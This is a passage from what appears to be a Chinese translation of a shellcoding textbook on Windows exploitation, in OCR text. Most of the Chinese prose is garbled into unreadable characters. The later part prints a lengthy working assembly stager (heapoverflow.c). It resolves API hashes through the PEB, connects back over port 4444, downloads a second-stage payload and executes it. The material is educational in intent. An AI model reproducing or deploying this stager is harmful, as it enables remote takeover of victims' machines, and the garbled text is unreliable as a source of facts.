RARSPIKESR . AT, WRITHBMRZMDCE-RPCIRS, THWE THEM, ERPTERN
EHEEXAL. CANVAS (www.immunitysec.com/CANVAS) FiPython® 5 T DCE-RPC.

ETFHARINHE, R AE S 23R A B I P S APIB A DCE-RPCERDCOM, {H M KTHR A,
XREMEEE R HIAPL AT SBORR FRIE T . FTREME, —2E @ OIFRBEAFFHRY
LB

633 CHRERER

L MFRVI AR . FELinux R, V5 FIPRIR (S sREERe) (A LR H 07 3 fjuser/group/any
P ARMERD ARHEE X1, {HWindows SLinux5e &R —H#E, B A T RIEEREEME
KT LRMMPE. MRS, SMME—2C0MBN, SR NTRE SRR
ey — AL, MRV i, SEEERE S SRR, BARAE
ST N Ui ) S AR A: 31«

BE, XBMREATLEERNT, FART RARRMARS, FOLM CELMAY
WL M) BRBMBILE B . SHE RS A LS. MATREE R &ML 53 5h
JEFREIE Y LogonUser () BR$(IRIR . LogonUser () MG B /" L MERS, WRBBRTY, ©F
&AM 4 M. #RAT LA SetThreadToken (token_to_attach) JE4§E &ML M ATIILFE,
RIRTELFTIAE XA (11377 FIRevertrosel £ () BEE .

JOUEBE T, i Sysi Chttp://www.microsoft. i ) ffiProcess Explorer
IR, R RTE]: EOMBAE N ser NamedTEIHIR T, TERGHE LT UFH B~ RE
MERFEV R ML F6-2RRHERP BN SM.

SRR b 3R AR BT ¥ S0 SR AR ImpersonateNamedPipeClient (), KT
W AR GIRL A RO AR A S MEAT AR [FORE, ARt B DUBERUZ FRDCE-RPC F M ERE IR 7
Y RETD 5 3 o

Bitn, M EBUNIX (FTPARS 28 3¢ HFTPAR S IE4E Mlroot AURIZATIY . FTPARSS 287/
LA setuid () HEHT P BIDSURIAER I P 2 7 35 A5 B (X A4 . f Windows R BE, P RIEHI /4
RENG /S, FTPARS 2 i Logonuser () BRI — M &M, WEWRE -MHRE, FLEEM
SetThreadToken (new_token) » *ZRFLLEHX K PRS0, E U fiRevertTosel £ () AL
Filth, % W ExicThread ()iBH .
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[#6-2  fiiProcess ExplorerEHRMI AR, HEEHRASM G (ELM) ZAVHEHNRFE

SRR, BT R R F RSl & . FEUNIXE, @EAEI R B GE
B ERFTPIR S 285, BUH# A Moot BRI ALMA /1@, TEWindows R, ZERINIBAER A/
WAEA ) HARTT IR R R OM, K& T LBBOHEAEE. 4R, EFEWET, FTPR
%88 R LLsYSTEMETN, AT LAY AIRevertTose1£ () SRAEHIRFAL.

Mgt createprocess () —AH MAIRK . UNIX# %L H execve (" /bin/sh") fEh
shellcodeff)—#4}, {E¢EWindows ¥, CreateProcess ()IBEAMUMEFHEM LM, HH 2N
PR R MUY ) T 9 3CAE o S RERAT T 24 A0 SRR b AT ERAR SR AR, BT AT
AT BRI R e TR AT AT SO

FENSTCa A1) K24 (A X ME B R AF P . TISHISMRALAFIEAT#E £ MR TUSR
B TWAMITT A L SYSTEMI AR I . (EZEIXEEHERER, LW LIsYSTEMEIT AR, HMEFHME
AR LR R TR~ S0 B ficreateProcess () B, M1 RIMATH CHF
J TUSRERTWAMIEAT, {BIXANICHFH)B T sysTEM. .

IMRKIE CEREXAWL LS, HRAPA % fouplicateTokentx () £MHHIES
M, AR CreateProcessasUser () WA ELHAEDLLERA P77 F] fishellcode (&I LM

@© FIA bR EHRABRBRS . —
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FEFTARABEE ORI FR PR S0 ), 76 L RTER R0 W SRR T

6.3.4 Win32 AR ELE
TELinx P& b, FHLERFENRERN; BOEE, BUMGNERN. TRt

EHBFHEIL, REBLAHRHsional O RAFHRENFHLEBERF, H1IK Esegfault

(Windows RZEW I ARTERAV). fEWindows'F& L, &RAEBEF (7 Fnrdll.a112H4) ik

FIATHISE, RIEHITAR S ARk B IS 4 M. 5 Windows NT FiI4R7E2

MARLRIAROM, FTLL 57 AERR tR URR AL,

F6-38%1FH B T BB Windows NT F ({157 % 403 .

GiiyDbg _cmdexe

File View Debug iielp
x| w1 L) || T| W B c] 7] K| 8] &)

T

3 oiybg cmd.oxe G

F6-3  OllyDbgfR i it 7R 1 Windows NTF i) 57 ¥ 4b 38 T4

EE6-30, RAGFlomd. exe AWM RIE . B -MERNBARR (FLETH, i
AL F£s: (01) A MEEIRAFH LM ER. XANEH (Structured Exception Handler,
SEH) i3 —ANJTHRH T — ML ERT H3Re. XAMGHM AT IR — ARSI
wE6-3 RHARE, iR T —MEEF IR RO -10, RRABE P REEL
TfF. MR- ANEERFRAE LKA RN, T MERF (HNE) T, &
MAHE MR BIBJF AR A — AR AEE, RIAGR LR FRLRE, RN
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B R R

FER—NRE, HREEGE RS R RV [ N B A TR, NS LAaF
XA RGN A R, R, BRNS TR EISEH S0 . Win32i2F RN RREE
MRAERGHGEISEH. XADSEHS T A/ Bon R AR DAL R RRAE. 1 RRETSHR7EIZE
TR, SEHRHERIRRTEIRXAMERF. 5 — T REE AL TR L (A E R T i B 5
£ REBCSERINNFH AERE.

FEWindows XP. Ik, 47 534k —ANiE#: Vectored Exception Handling (i) RALSHALED). M
WA L, ERRES-FRARER, EAESREncall. A BRREAIERN. Hi, RIE
HANERBATF R MRS EA &R R XA ERE, FERATET .

6.4 @i Windows

A Windows /¥ D4 3F3%#E: Bk THEEWinDbg. A% V812 3# SoRICEER #OllyDbg.
G LT LU Visual Studio.

TEXEETERE Y, SoRICEER VP2 7 B R BIR KA. SoRICERF MR X HAER, W
CAHR R ZE T, R ARG R S I, TO GUI AR . B EEAARMRE RS
WEHRLF . AR BRI, R RN, Fi, ARENBERRENEICE.
SoRICEAE MR WAL IS, JERTH TTRA RS, Bk, tRIRIELERAR KPRt U4 ZESoRICE
RN A TAE, AR ZE B RERY TEANRET .

WinDbgaf LA %, R EHE—FBITLEMAS— G, BEBARE R
FrE it . WinDbg I RE, (B S LLABHRE, LT A ER A . R
s, (AR ERBARGA R, BT AR A RS, init, BEh Rk
45 %5 8. WinDbgi)fy &7 IIACDBIEN RiE, HALHAKETF A S4TMAK BT LR FE L7 1Y

IEQISPIKE/ H A4 BRI TR —#¥, OllyDbgrl fERIE4 kLTI iR B3
FE LS BRI, PIUEITIAR (AVFEEIRIT) AFAR%. NFENR (B, fRaTeles
VRE, ERRR Y IAMSVCRT . DLLAS R¥CHE 2% (7 B (X A 8 P D A AEMBAR W O (Bln6-3
BRMGRLHD. R, SR MNRAMRICREFNHH TR, £ LREERNKN
EHH . WRIRIAHONYDbglk DI L BT, T LAAIEZ R AT I, FIEME, TR
AT Lo e FONyDbgt LFE, #AJ5 FISPIKEXT EALEATHMBR, FHoHHreEm
HISEH o IX LAENR IR B AR A 4F ¥OllyDbg GUIL.

6.4.1 Win32 E#4 bug

Win32 B Vi Ebug, PRI MARIIMATF, R Eshellcodeft ATLTREZ EA RIM o
B, W roadribrarya () CHI)REREIEDLLEAANAF) SHREUN, HRERHEN

@ BARHVMWare, aLLZER G HLE LIEAT . — &k
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MK T, LoadLibrarya () MMEM KM MBHBA K FXF, WinSockBIBH K. 1B
% APITEMSDN H R EAR (K308, sl STRSUHRB IR .

LfRfishellcode N TAERT, fRAATREREA i F Windows B pAH IR, TIRAFIN A kRS &
17 CERRERFED).

6.4.2 #RE Windows shellcode

MR —BUIEILIK, %5 A $E A Windows shellcodelfi & AFFA MRS . IXFI% S UNIX
shellcode A K —#, 7EWindowsH, FF&HMOMAPHI—HM AL . MR, #ET LR
4N MR EIREE (Blllicreateprocess () BiReadFile () MAWTE. {ARMEHREER
SEEEENIL AR A7 . B shellcode RAEBIB EMERAM MY, REFI SRR
LTy A AHIKERATE KGR S R AR P I, ISR AR R B SPER AT HAT SO A IR
ARMBAFRT, Bt WA RN .

G ATAEN) . AT fshellcode BB B AL, WindowsiE 4 133 IR BER B H HRAEAE S AN
AL Fs:(0x30)0 XAMLE N Loxc MR BAMUTHIRFIRIGE . BItEH TRIRIEER, TLL
30 ek 388 i K 5 R kernel32.d11. fikernel32.d11 X 4% T LoadLibrarya () FlGetProc-
address(), 11 ['EA1, BATUNEAEFDLL, R4 FIMREOHAET . #RA%EEPE-COFF
SCRILLERARAAK fishellcode, 2R FIfiIX—2 .

BRI, HEY BRSNS BUR R MR Mshellcode AR K . 38 L4E%—
HEARKER 5, C4% 7 U lishellcodeBA TN T, @IS T RIH HIIE. NGSAA
#iDafydd Stuttard“4:2005%F & £ (f1 1 3C i 4t T — M 191B1 5 shell g€ Mshellcode (Frh#47
BFAD, HARM T — S8 AE W I 0 A RALACTI R AITA, A045 45 F K 1 R B 8 AL
1BFMH.

AR, IRk, B, R RE LIS Mshellcode B, i B S AL EE
FEIY, fENAE LI Frerne132. WIRIRAT MM EARMM Y, o LU BINSFOCUSHIISHT E i)
EGHIEN

BN R AINSFOCUSHEAI (f5 777, 4 1R shellcode ] figiE &M K. B, CANVAS#Eshellcode
S ARGy, TR R CANVASIF B NSRS 28 (KL T XORGHS28/1F65 4%, 1Hadal
HR¥xorl) 4 150B Kishellcode, ‘&5 H AbERAE I 17 BAW T 55— #4r——LISBARIZ T4

I SKEE, KB AR AT, AR LSRR N AFEFTTT, TR H
S5 6] iy B )«

6.4.3 Win32 API BE 5

VirtualProtect (), L WAETIHIVT RIAEHIAA . ROTAT AL . cexe R BN E+wildE, M
T8 B text X BBE HEL ) R 3

SetDefaultExceptionHandler, % F4TEMISPHUL, RICHE T UARIA 7ML REFE

© Dafydd Stuttard 57 # ) CHEBBIHATH: WebSARM) £ i A\ RMBH HRRAE AR, — —SRAE
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lad:iiva

TlsSetValue() / TlsGetValue(), B4k FE#EAS LI/ Thread Local Storage (LRFZAMUTERE
B MARARFHELRAPHF IR IR TERE R . HIHE, AR iIshellcode AMUBHR (¥4 4 (8 AT 61 7T ERR AL
TEIXE.

O, P O TR O ZE BT A EL B AR AR YE RN SbR HE S )
IEHET . WMRHUREcnd. exeffishellcode, 7T BLFXAN A4 R /D Fshellcode. (Hisocket ()
A RIS A LI ) R i fE so_opENTYPE/RTE. )

6.4.4 ZEIRF A Windows

1. WingX/ME

O VAP RELEMBHOBRE (KHS L.

2. WinNT

O I H I RPCER BUPAS RAT AT LA AR HIRPCAR % . Win2K F ({RPC 33 45 HIZE BRI
BLBCHBERE, R, JLPHTE BB SR LA Bt

O REFHNTLMV2ZRMAAE R, %GV 5 .

0 IS 4.0 LR IETT, BBUEARL EEIER.

3. Win2K

O Win2KHA %4 CEFENTLMV2,

O RPCERMIFE RMIAHRIENT 4.0 THE (448, IFARBINT 4.0M8HRIEHRE).

Q SPA—il kR T S A A8

Q 1S S.OLARZANFRIZAT, {HURLALERLF Il %A LURGAUPIZST (FrontPage. WebDavAl
RKAALERS) -

4. Win XP

O $§#nifjVectored Exception Handling (i AL 57 4b ) idfisis th ¥ 7 5 .

Q SP1—IR T 59 247 8%

O IS 5.1—EURLBH A & R H KA

Q SP25| A T Bk, XRPCHT AR, FIATDEP (Data Execution Prevention, #(#
BATIRY), SafeSEHRIF 574 A MAFAMEMMA T, Bz s, BMT FE L
Ji A

5. Windows 20035 5 #%

O Hitkcanary%4ii¥ T #4108, WiFEAH.

Q NISTK) R4} DO RERS 3 B KL o

O IS 603 RHCHHE M, HARBAEEATEA 56 /N A R R0 S A — ARA 2
FAZF, IXUERE AT DURSRAF R URLA 300 AL B AR 95 T3 1180/443

O WL BT RS G R M. FEWIn32LARTHIRRACT,  f SRR VR 28 B b,
YRR T R IXTEA SR AL, (HR B HON RS AR,
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6. Windows Vista

HERARMMARRIEH. BIFRRAR/GSHecanary T4 1% .

O ASLR (Address Space Layout Randomization, Hifik% A4 BBIHL) 48 K2 ¥R AR
T L2, R4 ERDEPLARKMAN, HEFMERERRE.

O B IHBLE it uE A BB T .

6.5 /g
AT T Linux/UNIXFI WindowsBAF 2 Al 3E A 251, FIR AR T 2055 ¥ WindowsHi

& WHRGWARSENE, WBEOUAKE, EALinux/UNIX L H 9 ERE . 58 T
Windows ) BEAFAIIR, A HE4kEES 3 F AT Windows REH A .



BI1E
Windows shellcode

‘ #
A Eshellcodefi 78 5, SE0TTiik, WWHWIL FRAKM, (A% Windows LiERH—
SEMEEEH) (Windows & ERARFERAM R, o HATRH R LA ARBIIT. T
AT, BASIRIB -Leshellcode I Z 11, #A/FHFFWindows shellcode 4 AF R e,
It i 06 i W ATET 5 Intel f09% A0 B B . Win32 () % R R o a5 o L O 3k, R R4
Windows shellcode ) & & /7 [ .
71 AIEFILIERR

B, A 4R A%/ R AT 88 R A8 T4 ELARAR SR/ () Windows shellcode JL P RAE4E
TR T, WURTE GRSV E BARAED, (R AE R AR B CE AR AR b R AR E B SR 28R 28
APINRIE 422 % i #shellcode. #1MImmunity CANVASBRAEI T “Hifnity” 4isda8/ e,
WAL, EiCshellcodetl h —HEH 5 K BRI, IR P MG EH T KBEM Fx (x
A LU AN R BEHLECR R ED . L X, 25 - AFHRARFHNERFS
KRBT . BIRGRAY 2%/ 88 TAAREF, AP AFEMAXOR, BT FHHRETF
Iy

TR, R S8 U R B R R A B My=£ (o B8 1 R E
G, AATT LMEE o FERAT/NG PR SR — B PR B B LR 3 4R, AT
LA £ (ox) T AR S/ INT T B OR 77 BRI B B0 BL AR BR M A0, 2B 3 ™ i)
WIEBORS, RERTF—UMRFTE S, SR B TR, TG 4 BB )%
Tk, XA RER A S L,

TR GRS/, BRI AIE BRI ISR T B R E Bk R E . R
BR£H Linux shellcode, BN % b4 5 x861L 48 10F% . I'E Windows shellcode1 5 Linux shellcode
75—, AR TR, WGTHRTT, BEYER—F LA S shellcode A L1
MRZ M, AATEKIC MBS K Visual Studio, % 2 ¥ICygwin (www.cygwin.com/) BERERLTFH
shellcodef ™ TR, %¥Cygwin T B (308, BT LAL4emt —E EROHTIF T FFRTIL (gee. as
BRI, RN LRSI LA TR ANASMELI AL ) T Fshellcode, {HIX4E T A%

© BAEARER ZRPMAR, S —EA A TR — R
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S RGP B A

x86 AT&T Sintel

AT&T 5 Intel &) 54 AN L2 M FF 5. $—ARAT&TE) 44 it sourcefadest,
flntelft F 8hit4f destAesource. % AMAGUN% 3 (AT&TIE/ ) . OllyDbg ( Intel4 /A )
St Windows T I &4 iC 5o RAD B , XA EARMAE 697 X TR S RABRTA M. 5 K
Ao T AR & REAT K, L EAET S Intel Z A EA % 5h— A F &6 RF,

M FUA R FUHK: AIAFAS, —MBE, —ARHBET, do1. 2. 458, #
YA, mov eax, [ecx+ebx*4+5000] (OllyDbg® é9Intel #)3% ) % Fl Fmov 5000 ($ecx, $ebx,
4) , %eax (GUN%# & 49AT&TE) %) .

BIEBARRF I AT&TE) 5, B AT kKW, HB— Frov eax, [ecxrebx], T
ARIFAB? TARLRFAR? B RER DRI, BFHIALRA, BAEAHH
ERRELRF I AM: BAFESNF A, TALEK; FFERRIR, %A
BAILIHIRA K R T

7.2 flE

%5 Windows shellcodeRH B AL — MK FIE: Win32 ARG BN RLWA. 4 A%
B, KRS AR RE R . W Windowshy— B MUK FRAE, IXAMEHA 4 AR —,
WA AR AR, EEWInI2RY B # 7E4 SRIA Y P 35 R 408/ API
B, LY WIAE T4 A Win32 85 R APTH KL FIFR P«

AT tishellcode et AT F 2 HiE4T, RATEBERIMIE 4%, WTFHR.

O EAZUHRPIHT A B A Win32 APIER Y, 3FA4 RN,

O O THSIIERE, SR IR 7 B R A .

O WA A B AR RS 8, TR IFRAT /G S shellcode.

Q EBAHER A CHUERIEH, HAE SRR RE 11

O EAURE R IR E I k.

Q Rk ELEN Win32 il SR, SELHBE MRS,

REIM M Win32 APIERY, it AL 7Eshellcode ARG ILIX SR M Uk, BRA SR BRYRAS
Windows KR 2 (fjGet Procaddressa () MlLoadLibrarya () Hiht. BL7EBESTS i SOh AL 348 R
445 Windows shellcodelf P ) 77 42—, {H FUE AR BRAN AT AT SCH SR HE 290 45 1) Windows .
fE R IEAISQL Slammerdf 57 RS (I ARHE, BEGHHS 6 b B 47 e m B WA o

i

FEWR SlammeriE RAYE ZIKF L h R, 8 RIEH AR D MG A T I B F

K T R RAIAT AT THATFYF ROSIAF TR, TRAVBLFAE I LA Iy v, — Ry vkl
IEH WDLLEEEE AR 7, ARJR 4RI B OO T . 59— R A 1 Rkernel32. ALLER S
WA TE5 0, Wit T Riernel32. d11FTXMAIPEB (Process Environment Block, #EFEEFEE
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HO CRIAMRELE XA A3 R BRI . ATRYE EAF A4 EAEF I Windows 7
AE RGN WA .

7.21 H# PEB

TR #9487 CANVASH [f Windows shellcode, #E4MTXEARTLHT, M A FIFR

shellcode A8 «

O WM. AR S SR R T % T

O JURMARE R, SRR TR S F A5 bishellcodely, RAEALBIT RIENE
ET.

O REHREE, QR INELT. (EEGKAEHEIEN ), b fEEshellcode BAAE I
AR, B FRERHE, XM T Hshellcode EAFH Lo, (HH T RRATEFIAL
HIst AL RRLT ion Handler, SEH) 3k KA RN,
RAFAR S S xR 4T & 3 HATSACIX Bishellcode R4 — F, HAEHYT.

R KB, AT L EgecS FIUx86 T & LT RE ik, BI7E, RATEST

4 ¥fiheapoverflow.c, HERWTIETH.

7.2.2 434 Heapoverflow.c

MR G Win32B Y, ¥ B Fwindows.h, BATHT LU Kb IRE —LWin32 5 i
Rkl .

//released under the GNU PUBLIC LICENSE v2.0

#include <stdio.h>

#include <malloc.h>

#ifdef win32

#include <windows.h>

#endif

R fgeckiasm () Fl. set AN I Mashellcode A% o IR AL LS RRARED, oA /AR
FPAEN: EAIIAELE, AT BRATT LA 3 B shellcode 4 H ) 46 Rk 47 4% ]

void

g:iprccaddt()

{

/*GLOBAL DEFINES*/

asm(*
.set KERNEL32HASH, 0x000d4e88
.set NUMBEROFKERNEL32FUNCTIONS, 0x4
.set VIRTUALPROTECTHASH, 0x38dl3c
.set GETPROCADDRESSHASH, 0x00348bfa
.set LOADLIBRARYAHASH, 0x000d5786
.set

.set WS232HASH, 0x0003ab08
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.set NUMBEROFWS232FUNCTIONS, 0x5

.set CONNECTHASH, 0%0000677¢
.set RECVHASH, 0x00000cc0
.set SENDHASH, 0x00000cd8
.set WSASTARTUPHASH, 0%00039314
.set SOCKETHASH, 0x000036a4

.set MSVCRTHASH, 0x00037908
.set NUMBEROFMSVCRTFUNCTIONS, 0x01
.set FREEHASH, 0x00000cde

.set ADVAPI32HASH, 0x000ca608
.set NUMBEROFADVAPI32FUNCTIONS, 0x01
.set REVERTTOSELFHASH, 0x000dcdbd

")

NI JF 4" shellcode. #5—#B4}&PIC (Position Independent Code, A& EFKPEAT). ¥k
e sebx B URTMIALE . RESERIE, Fi R WERET LIS % vebx. BORELIE %% 8H7
it TAES

/*START OF SHELLCODE*/
asm("

mainentrypoint:
call geteip
geteip:

pop ebx

FRBAEE AR it espt FIWB R, b T8 Sre i FI s B AR, TR E ML, B
iR fEget ORISR, XA W, FUt, X T {Esesptit URIIBEME, IK0TiEAAZEshellcodei
A Esub $50,%esp. AR, WRARAGAMMA AKX GXEAEM0x1000), 7ERME RS HH8
I, WTRELBINEE, SEUIHEE. MR, RIVEXBEHFNRERIOM, EEABHENRT
R A LLEH LA

movl %ebx,$esp

subl $0x1000,%esp

WM, AT ws2_32.a11 B — LR BEN THE, sesph M FF CXM AT R
ws2_32. AL1HIMID . RATIXAEAL:

and $Oxfff££F00, $esp

B, RO FHRME T . B E Ekernel32. A11 HHLHIFT ok M0 Mk
BATHIIAN B GERIXAN TAE . SeiCecx BB AMIIFIFR S M B, RFENER. R
RS, #ifkifiget funcaddress () kernel32.d1l (AREET .a11) MIBFIL KA ¥ &K
BHEEUL. SRR R B, RAE B Seai SR M MR BT, KR kA
FRH S R — () . LABEL-geteip ($ebx) MR M LABEL, XA 3K, ¥R o LA LABEL
Vil FE AL T
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//set up the loop
movl $NUMBEROFKERNEL32FUNCTIONS, $ecx

lea KERNEL32HASHESTABLE-geteip(%ebx),%esi
lea KERNEL32FUNCTIONSTABLE-geteip(%ebx),%edi

//run the loop
getkernel32functions:

//push the hash we are looking for, which is pointed to by %esi
pushl (%esi)

push] $KERNEL32HASH

call getfuncaddress

movl $eax, (%edi)

addl $4, %edi

addl $4, tesi

loop getkernel32functions

BEAAH T 81.d11 kernel32.dLLAER AL RN M EHR, BRATLAMmMSVCRTH ST 7 19 B 2.
VERE, X EALR ARG M. X BV T get funcaddress (), AT FUGAEIEH FFA
B, BB ERER THERTLUT.

//GET MSVCRT FUNCTIONS
movl $NUMBEROFMSVCRTFUNCTIONS, $ecx

lea MSVCRTHASHESTABLE-geteip(%ebx),%esi
lea MSVCRTFUNCTIONSTABLE-geteip(%ebx),%edi
getmsvertfunctions:

pushl (%esi)

pushl $MSVCRTHASH

call getfuncaddress

movl %eax, (%edi)

addl §4, %edi

aadl $4, %esi

loop getmsvertfunctions

FEHERS R, RURED ) T SRS R S ARG . (BIRIRA B M 2RA2, 2
T AR A M HABR AR B I free O Y, TTAER ARG A T PH LKA AL, RAN
W LA AR 0xc3 B M £ree () I Hiprelude, {#free () £V I HERIT IR FIEH B

FEF| R A, RAGEE R Eree () FIETMRTHR. MIAbE ETTRAF K KA
—FE, free () FTAEM P A7 TUHARIC N R ERBAT, B, SHUEE KR EBUR o, AU
Virtualprotect ¥ X {4 . Virtualprotect i ¥(7EmsverTZ o, B4 N E4HE
MSVCRTHI E SN B3R T, FibAvirtualprotect BN IXERNMMEE T . RIEE DK
P SRR 4 KB A7 PR ) £ree O MOSREE (AAREE R TR TUTET AR ARD

//QUICKLY !

//VIRTUALPROTECT FREE +rwx

lea BUF-geteip(%ebx), %eax

pushl %eax

pushl $0x40

pushl $50
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movl FREE-geteip(%ebx),%edx
pushl $edx

call *VIRTUALPROTECT-geteip(%ebx)
//restore edx as FREE

movl FREE-geteip(%ebx),%edx
//overwrite it with return!

movl $0xc3c3edc3, (Fedx)

/1we leave it +rwx

BBAIRARE, Htree O FEARV IR FREER . SARAERHIRRF R L%
sl RSl

shellcode R Hi R 71 Hws2_32.d11. RATEMERE (B, SERERMER) FHEXEHLE
o REFIAEIER SEMTTCPIR L M ENL. NERR, RIVELRDIT —SRR0T. 7525
## (ReC LOCATOR) M., 7EViMiRevertToself () BiFFAMEMMBMws2_32.a11, BARFENE
Ar 2R S AR I AU B 42 P AR FRARA SR, TR 44 1 R AR AT AT SO 1 . B, R
fAER RapvarT . 1L BN, AEFIFE FHhRevertroself. AMBADVAPT . d11 KI5
RO, BAERARBE] T, KIBOXH S shellcode . MR, FRATAFIEM— FRZ, 5
fReERevertTose L EMITREM A NOM A S . RATEXERAMME, B HiX LM Mshellcodelty
ABET R BAT AR

//Now, we call the RevertToSelf() function so we can actually do

some//thing on the machine

//You can't read ws2_32.d1l in the locator exploit without this.

movl $NUMBEROFADVAPI32FUNCTIONS, $ecx

lea ADVAPI32HASHESTABLE-geteip (%ebx),%esi
lea ADVAPI32FUNCTIONSTABLE-geteip (%ebx),%edi

getadvapi32functions:
pushl ($esi)

pushl SADVAPI32HASH

call getfuncaddress

movl %eax, (¥edi)

addl $4,%esi

addl §4,%edi

loop getadvapi32functions

call *REVERTTOSELF-geteip(%ebx)

A, RATLUHFR 0 S 4E1T, BARREws2 32,411, EEHKEWindows R L,
IRRAT L TERNBEAE, LoadLibrarya () REBBHAEST () MRAF|ws2_32.411.
IXREIRAT L L AL Wl Get SystemDirectorya () AbHlws2_32. 1174 8 . RAf1¢Eshellcode2 ¥
[GRTGEMRX (BUF) HEHEATIXEEBRAE

//call getsystemdirectoryA, then prepend to ws2_32.dll

pushl $2048

lea BUF-geteip(%ebx),%eax
pushl seax
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call *GETSYSTEMDIRECTORYA-geteip (%ebx)
//ok, now buf is loaded with the current working system directory

//we now need to append \\WS2_32.dll to that, because of a bug in LoadLibraryA,
//which won't find WS2 32.dll if there is a dot in that path

lea BUF-geteip(%ebx),%eax

findendofsystemroot:

cmpb $0, (%eax)

je foundendofsystemroot

inc %eax

jmp findendofsystemroot

foundendofsystemroot :

//eax is now pointing to the final null of C:\\windows\\system32

lea WS2_32DLL-geteip (%ebx),%esi

strepyintobuf:

movb (%esi), %dl

movb %dl, ($eax)

test %dl,%dl
jz donewithstrepy

inc %esi

inc %eax

jmp strepyintobuf
donewithstrepy:

//1loadlibrarya(\"c:\\winnt\\system32\\ws2_32.d11\");
lea BUF-geteip(%ebx),%edx

pushl $edx

call *LOADLIBRARY-geteip(%ebx)

Fix—, RAVMlws2_32. 11 DM, M7 ERERR, Rl LATIRRET .

movl $NUMBEROFWS232FUNCTIONS, ecx
lea WS232HASHESTABLE-geteip (%ebx), %esi
lea WS232FUNCTIONSTABLE-geteip (%ebx),%edi

getws232functions:

//get getprocaddress
//hash of getprocaddress
pushl (%esi)

//push hash of KERNEL32.dll
pushl $WS232HASH

call getfuncaddress
movl %eax, (edi)

addl $4, sesi

addl $4, %edi

loop getws232functions

//ok, now we set up BUFADDR on a quadword boundary

//esp will do since it points far above our current position
movl %esp, BUFADDR-geteip ($ebx)

//done setting up BUFADDR
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28R, B FwsasTarTUP Blws2_32.dl1FIHX . W ws2_32.d11EL ML, F
Wi FwsaSTARTUP L A & HERAEMT &3

movl BUFADDR-geteip(%ebx), %eax

pushl %eax

pushl $0x101

call *WSASTARTUP-geteip (%ebx)

//call socket
pushl $6

pushl $1

pushl $2

call *SOCKET-geteip($ebx)
movl $eax, FDSPOT-geteip (ebx)

B flconnect () ¥, B AIRTF fEshellcode R MM, FEGAIL AUIPHINE. 7ESLRR
A AR, AR R AR S AR AR 2 PRI O . 40 SR8 connect () KM, REFHBEE
exitthread, SESFHIFM . HHBEEMHexitrrocess (), HHEH T RIRETIIE
St

//call connect

//push addrlen=16
push $0x10
lea SockaddrSPOT-geteip(%ebx),%esi

//the 4444 is our port
pushl $esi

//push £d

pushl $eax

call *CONNECT-geteip(%ebx)
test teax,¥eax

i1 exitthread

FPXE, 25— shelleode ML T, RAVE TRV RIFAETREM S 28 LIFLER
shellcode.

pushl $4

call recvloop

//ok, now the size is the first word in BUF
//Now that we have the size, we read in that much shellcode into the buffer.
movl BUFADDR-geteip (%ebx), $edx

movl (%edx) , bedx

//now edx has the size

push $edx

//read the data into BUF

call recvloop

//Now we just execute it.

movl BUFADDR-geteip (%ebx),%edx

call *$edx

b, BANCHEHIBOEARS T G4 Hshellcode. —BMIR T, JEdlishellcode® & THE
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A A ER S T A

Fiifshellcode SRS, FATFRIE A% — Fshellcodert I FIH— & ¥ . Fififrecvioop
RMMARE, CEZRAXERNSEORD, FHFA—HY “2R7 BREFIRANEERESR
H. MiBconnect () MEBIMHE, MR recvioopRILH R LB Fexitthread.

//recvloop function

asm(*

//START FUNCTION RECVLOOP

//arguments: size to be read

//reads into *BUFADDR

recvloop:

pushl $ebp

movl %esp, $ebp

Dpush %edx

push %edi

//get argl into edx

movl Ox8(%ebp), %edx

movl BUFADDR-geteip (¥ebx) , ¥edi

callrecvloop:
//not an argument- but recv() messes up edx! So we save it off here

pushl $edx

//flags

pushl $0

//1en

pushl $1

//*buf

pushl $edi

movl FDSPOT-geteip (¥ebx),%eax

pushl $eax

call *RECV-geteip(¥ebx)

//prevents getting stuck in an endless loop if the server closes the comnection
cmp SOxEEEEEEFE, beax

je exitthread

popl %edx

//subtract how many we read

sub %eax, bedx

//move buffer pointer forward

add %eax, edi

//test if we need to exit the function
//recv returned 0

test %eax, teax

je donewithrecvloop

//we read all the data we wanted to read
test %edx, ¥edx
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je donewithrecvloop
jmp callrecvloop

donewithrecvloop:

//done with recvloop

pop $edi

pop edx

mov %ebp, %esp

pop %ebp

ret $0x04

//END FUNCTION

HFRRHTERENL Mget funcaddress (), EHIEDLLAIER$4 KBS R Skt
fidtht. B4 T RE TSR WM, BT LUE T e Rshellcode 2 5 ik A AR i 3
T. BB T £s: [0x30), b WindowsT2/EEBATH, £s:(0x30]1FFWPEB, RATRE
£s5: [0x30) TULRBICRANFRFTABE. RF, B RS MM BRI R
kernel32.dll.d11. HFUSR¥H —MRAMIRE, FRK XS ZUnicodeid £ AASCIF
.

B4R, WA DUERIR ML ik, T B MRS, FIl, Dafydd StuttardffjfRED4ES8
ALAFIERA A0, AT — 2 N S TPER R F AT WM. LA L E T HHTPE
kMR G — AN R B IRE, ARk BGetProcaddress (), MLER AT LARE AL &

HART .
/* £510x30] is pointer to PES
*that + Oc is _PEB_LDR_DATA pointer
“that + Oc is in load order module list pointer

AT UM T 1 £ P K 21 R
Q hitp: build i html
Q http: hick. in32-shellcode.pdf

WA, TSR

(1) NSRTHIBER (£5:0x30) fBFIPEKH.
(2) HEIPESKH.

(3) ¥%3B|G %, 1§FInaself.

(4) ##FarrayofNames, FIRMEMHH.
*/

//void* GETFUNCADDRESS( int hashl,int hash2)

/*START OF CODE THAT GETS THE ADDRESSES*/
//arguments

//hash of dll

//hash of function
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//returns function address

pushl %£s: (0x30)

popl %eax

//test %eax,seax

/738 WIN9X

NT:

//get _PEB_LDR_DATA ptr

movl Oxc(%eax),%eax

//get first module pointer list
movl Oxc(%eax),%ecx

nextinlist:
//mext in the list into %edx

movl (%ecx),%edx

//this is the unicode name of our module

movl 0x30(%ecx),deax

//compare the unicode string at %eax to our string
//if it matches KERNEL32.dll, then we have our module address at Ox18+¥ecx
//call hash match

//push unicode increment value

pushl $2

//push hash

movl 8(%ebp),%edi

pushl %edi

//push string address

pushl %eax

call hashit

test %eax,¥eax

jz foundmodule

//otherwise check the next node in the list
movl %edx, Becx

jmp nextinlist

//FOUND THE MODULE, GET THE PROCEDURE
foundmodule:

//we are pointing to the winning list entry with ecx
//get the base address

movl 0x18(%ecx),%eax
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//we want to save this off since this is our base that we will have to add
push $eax

//ok, we are mow pointing at the start of the module (the MZ for
//the dos header IMAGE_DOS HEADER.e lfanew is what we want

//to go parse (the PE header itself)

movl Ox3c(%eax),%ebx

addl sebx, seax

//%ebx is now pointing to the PE header (ascii PE)

//PE-»export table is what we want

//0x150-0xd8=0x78 according to OllyDbg

movl 0x78(%eax),%ebx

//eax is now the base again!

